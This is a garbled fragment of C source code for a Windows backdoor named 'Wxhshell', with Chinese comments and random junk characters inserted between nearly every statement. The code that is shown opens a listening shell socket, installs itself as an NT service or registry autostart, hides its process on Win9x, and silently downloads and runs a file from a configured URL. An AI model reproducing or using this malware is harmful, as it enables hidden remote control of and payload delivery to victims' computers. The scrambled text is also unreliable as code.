dKN3ZCw*gF CloseHandle(hProcess); {) '"
k6w iA{chQBr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <|>:UGAR if(hProcess==NULL) return 0; 7p"~:1hU 5D02%U2N)G HMODULE hMod; =>9.@`. char procName[255]; )4o=t.O\K unsigned long cbNeeded; q}7Df!<| UU:QK{{E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w!GU~0~3[ *M**h-p2' CloseHandle(hProcess); 2Y g[8Tm# _`Yvfz3 if(strstr(procName,"services")) return 1; // 以服务启动 XH Zu>[ (w7cdqe return 0; // 注册表启动 ss M9t } -fZShOBY` e^l+#^fR // 主模块 O.40^u~ int StartWxhshell(LPSTR lpCmdLine) 3Jk?)Dy { 4 *2>R8SX~ SOCKET wsl; l.W 1$g BOOL val=TRUE; yKk,); int port=0; (L6]uNOG struct sockaddr_in door; m#}{"d&J PTV`=vtj if(wscfg.ws_autoins) Install(); =jd=Qs IL #lVl?F+~ port=atoi(lpCmdLine); ^{]sD}Q" KX`nHu; if(port<=0) port=wscfg.ws_port; 2*",{m 0R!}}*Ee>q WSADATA data; 6s"bstc{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0o'ML""j fm2M i~}0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +`vZg^_c` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !v;_@iW3e door.sin_family = AF_INET; Q8/0Cb/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); "OAZ< door.sin_port = htons(port); LyPBFo[? 1Qe! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /v ;Kb|e closesocket(wsl); n[w,x; return 1; kp>Z /kt } IF?B`TmZ B+H9c~3$ if(listen(wsl,2) == INVALID_SOCKET) { *gpD4c7A\ closesocket(wsl); T|iF/p]F return 1; 5qB=@O]|G; } ~E|V{z% Wxhshell(wsl); qN,FX#DP WSACleanup(); fvfVBk# 4 AmF^H return 0; -$|X\#R {EHG | } Y/I6.K3 rxk{Li<9 // 以NT服务方式启动 KIl.?_61O VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [k{iN1n
{ RvZ-w$E&? DWORD status = 0; .`#R%4Xl DWORD specificError = 0xfffffff; ,%G2>PBt s^@Cq= serviceStatus.dwServiceType = SERVICE_WIN32; SpiC0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; %~(i[Ur; serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ca"+t
lO serviceStatus.dwWin32ExitCode = 0; ?v~3zHK serviceStatus.dwServiceSpecificExitCode = 0; R2ZQBwB serviceStatus.dwCheckPoint = 0; ]c=1-Rl serviceStatus.dwWaitHint = 0; VIdoT2 9+Hb` hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5VoiDM=\c if (hServiceStatusHandle==0) return; yC*B OJS 5&Kn # status = GetLastError(); cyeDZ) if (status!=NO_ERROR) V/%;:ul. { |^{" 2l"j serviceStatus.dwCurrentState = SERVICE_STOPPED; YEoT_>A$dB serviceStatus.dwCheckPoint = 0; (,y/nc=GN serviceStatus.dwWaitHint = 0; M:f=JuAx serviceStatus.dwWin32ExitCode = status; -)+DVG.t serviceStatus.dwServiceSpecificExitCode = specificError; Y.
tFqzo3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); n{WJ.Y* return; fsuvg jlE } {# _C fOervo serviceStatus.dwCurrentState = SERVICE_RUNNING; g$LwXfg serviceStatus.dwCheckPoint = 0; 0J</`/g H serviceStatus.dwWaitHint = 0; k(+u"T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #;]F:TlR } CxQ,yd;> a/#,Y<kJ // 处理NT服务事件,比如:启动、停止 s\R?@ VOID WINAPI NTServiceHandler(DWORD fdwControl) gP%! { [&V%rhi switch(fdwControl) r0bPaAKw { uelTsn case SERVICE_CONTROL_STOP: 2MeavTr serviceStatus.dwWin32ExitCode = 0; cLP@0`^H serviceStatus.dwCurrentState = SERVICE_STOPPED; TvwIro serviceStatus.dwCheckPoint = 0; dig76D_[e serviceStatus.dwWaitHint = 0; 6LQ O>k { 1]`HX=cl SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Rt@z|Zv } XePBA
J return; Ma#-'J case SERVICE_CONTROL_PAUSE: Q6>( Z serviceStatus.dwCurrentState = SERVICE_PAUSED; "PtH
F`mo break; Jl ?Q}SB case SERVICE_CONTROL_CONTINUE: h_!"CF<n serviceStatus.dwCurrentState = SERVICE_RUNNING; u)pBFs<dn break; 2jC\yY |PN case SERVICE_CONTROL_INTERROGATE: oFp&j@`k8j break; %L.+r!. }; `I$A;OPK7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); )v0vdAh'b } k3XtKPO ;Vt
u8f // 标准应用程序主函数 VRt*!v<") int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I),8EEf\ { RoZV6U~ hNy S // 获取操作系统版本 $ 1ZY
Vw OsIsNt=GetOsVer(); r kl7p? GetModuleFileName(NULL,ExeFile,MAX_PATH); cpV i9] P0=F9`3wb // 从命令行安装 *Rd&4XG if(strpbrk(lpCmdLine,"iI")) Install(); }1dh/Cc` p3' +"sFU // 下载执行文件 _T$\$v$ { if(wscfg.ws_downexe) { OLwxGRYX if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tS7u#YMh WinExec(wscfg.ws_filenam,SW_HIDE); 4{KsCd) } }o4Cd$,8 p'*UM%@SIY if(!OsIsNt) { Y')+/<Q2E // 如果时win9x,隐藏进程并且设置为注册表启动 L?fv5 S3 HideProc(); P'8E8_M} StartWxhshell(lpCmdLine); U|nk86r } Y<v55m- else ($kwlj~c if(StartFromService()) lLhCk>a // 以服务方式启动
/rW{rf^ StartServiceCtrlDispatcher(DispatchTable); ?H&p zY~H else /v[-KjTj7 // 普通方式启动 O}Jb,?p StartWxhshell(lpCmdLine); x3Uv& p* @L1 return 0; ]!N5jbA@ }
|